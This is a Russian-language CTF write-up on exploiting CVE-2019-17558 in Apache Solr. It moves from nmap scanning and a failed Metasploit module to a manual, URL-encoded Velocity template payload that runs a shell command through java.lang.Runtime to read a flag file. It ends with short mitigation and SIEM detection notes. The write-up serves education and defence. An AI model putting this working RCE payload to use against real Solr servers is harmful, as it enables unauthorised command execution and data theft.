
Разбор CTF, документирующий эксплуатацию CVE-2019-17558 в Apache Solr, охватывающий разведку, ограничения Metasploit, ручную инъекцию шаблонов Velocity, захват флага и меры по устранению уязвимости.
Практическая эксплуатация уязвимости Velocity Template Injection в Apache Solr: переход от сбоя автоматизированного инструмента (Metasploit) к успешной ручной эксплуатации.
Этот write-up документирует полный ход рассуждений в ходе упражнения, с акцентом на диагностику сбоя инструмента и переход к ручной эксплуатации.
| Элемент | Описание |
|---|---|
| Цель | Сервер Linux, запустивший Apache Solr на порту 8983 |
| Задача | Прочитать содержимое чувствительного файла (/home/favorite_book.txt) |
| Уязвимость | CVE-2019-17558 (RCE через Velocity Response Writer) |
Начальный этап состоял в идентификации активных сервисов на целевом хосте.
nmap -sV -p- <TARGET_IP>
Результаты.
novacollection.При доступе к административной панели было подтверждено, что версия Solr уязвима к Velocity Template Injection.
Ошибка возникает, когда атакующему удаётся изменить конфигурацию params.resource.loader.enabled на true, что позволяет использовать пользовательские шаблоны Velocity и, начиная с этого момента, выполнять произвольный Java-код на сервере.
Изначально использовался модуль exploit/multi/http/solr_velocity_rce.
Эксплоит успешно изменил конфигурацию Solr.
[+] params.resource.loader.enabled is true for core 'novacollection'
Однако финальная стадия внедрения полезной нагрузки завершилась ошибкой выполнения Ruby.
NoMethodError: undefined method 'body' for nil:NilClass
Это указывало на то, что среда была уязвимой и уже подготовленной, но инструмент не смог обработать ответ сервера для завершения атаки. Цель не была защищена — требовался лишь корректировка метода доставки модуля.
Поскольку Velocity Writer уже был включён Metasploit'ом, инъекция была выполнена вручную через HTTP GET-запрос, обойдя ошибку скрипта. Шаблон Velocity был составлен для инстанцирования java.lang.Runtime и выполнения команды чтения целевого файла.
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Команда, фактически выполненная на сервере.
cat /home/favorite_book.txt
Инъекция прошла успешно, и содержимое файла было возвращено непосредственно в теле HTTP-ответа, отображено в браузере, что позволило получить флаг.
NoMethodError не означала защищённую цель — лишь то, что метод доставки требовал корректировки.params.resource.loader.enabled остаётся отключённым.select с параметрами wt=velocity — они полезны как сигнатура обнаружения в SIEM.Этот репозиторий создан в образовательных целях и для документирования обучения в контролируемой среде (CTF). Не используйте эти техники против систем без явного разрешения.